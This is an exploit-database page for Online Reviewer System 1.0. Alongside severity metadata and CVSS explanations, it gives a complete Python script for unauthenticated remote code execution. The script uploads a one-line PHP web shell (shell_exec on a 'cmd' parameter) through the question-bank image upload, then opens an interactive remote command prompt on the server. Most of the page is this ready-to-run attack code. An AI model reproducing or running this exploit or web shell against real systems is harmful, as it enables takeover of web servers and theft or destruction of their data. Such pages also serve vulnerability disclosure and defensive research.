Exploitalert - Database of Exploits

Online Reviewer System 1.0 Remote Code Execution (RCE) (Unauthenticated)

CVE	Category	Price	Severity
N/A	CWE-434	N/A	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2021-09-24

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2021090128

Online Reviewer System 1.0 Remote Code Execution (RCE) (Unauthenticated)

# Exploit Title: Online Reviewer System 1.0 - Remote Code Execution (RCE) (Unauthenticated) # Exploit Author: Abdullah Khawaja # Date: 2021-09-21 # Vendor Homepage: https://www.sourcecodester.com/php/12937/online-reviewer-system-using-phppdo.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/reviewer_0.zip # Version: 1.0 # Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4 # Description: Online Reviewer System 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters. # RCE via executing exploit: # Step 1: run the exploit in python with this command: python3 ORS_v1.0.py # Step 2: Input the URL of the vulnerable application: Example: http://localhost/reviewer/ import requests, sys, urllib, re import datetime from colorama import Fore, Back, Style requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) header = Style.BRIGHT+Fore.RED+' '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL print(Style.BRIGHT+" Online Reviewer System 1.0") print(Style.BRIGHT+" Unauthenticated Remote Code Execution"+Style.RESET_ALL) print(header) print(r""" ______ _______ ________ ___ //_/__ /_______ ___ _______ ______(_)_____ _ __ ,< __ __ \ __ `/_ | /| / / __ `/____ /_ __ `/ _ /| | _ / / / /_/ /__ |/ |/ // /_/ /____ / / /_/ / /_/ |_| /_/ /_/\__,_/ ____/|__/ \__,_/ ___ / \__,_/ /___/ abdullahkhawaja.com """) GREEN = '\033[32m' # Green Text RED = '\033[31m' # Red Text RESET = '\033[m' # reset to the defaults # proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'} #Create a new session s = requests.Session() #Set Cookie cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'} LINK=input("Enter URL of The Vulnarable Application : ") def webshell(LINK, session): try: WEB_SHELL = LINK+'/system/system/admins/assessments/databank/files/'+filename getdir = {'cmd': 'echo %CD%'} r2 = session.get(WEB_SHELL, params=getdir, verify=False) status = r2.status_code if status != 200: print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL) r2.raise_for_status() print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.') cwd = re.findall('[CDEF].*', r2.text) cwd = cwd[0]+"> " term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET while True: thought = input(term) command = {'cmd': thought} r2 = requests.get(WEB_SHELL, params=command, verify=False) status = r2.status_code if status != 200: r2.raise_for_status() response2 = r2.text print(response2) except: print("\r\nExiting.") sys.exit(-1) #Creating a PHP Web Shell phpshell = { 'personImage': ( 'kh4waja.php', '<?php echo shell_exec($_REQUEST["cmd"]); ?>', 'application/octet-stream', {'Content-Disposition': 'form-data'} ) } # Defining value for form data data = {'difficulty_id':'1', 'test_desc':'CIVIL ENGINEERING', 'test_desc':'CIVIL ENGINEERING', 'test_subject':'Mathematics, Surveying and Transportation Engineering', 'description':'Hello World', 'option_a':'a', 'option_b':'b', 'option_c':'c', 'option_d':'d', 'answer':'A', 'btnAddQuestion':'Save' } filename = 'kh4waja.php' #Uploading Reverse Shell print("[*]Uploading PHP Shell For RCE...") upload = s.post(LINK+'system/system/admins/assessments/databank/btn_functions.php?action=add', cookies=cookies, files=phpshell, data=data) shell_upload = True if("" in upload.text) else False u=shell_upload if u: print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET) else: print(RED+"[-]Failed To Upload The PHP Shell!", RESET) #Executing The Webshell webshell(LINK, s)

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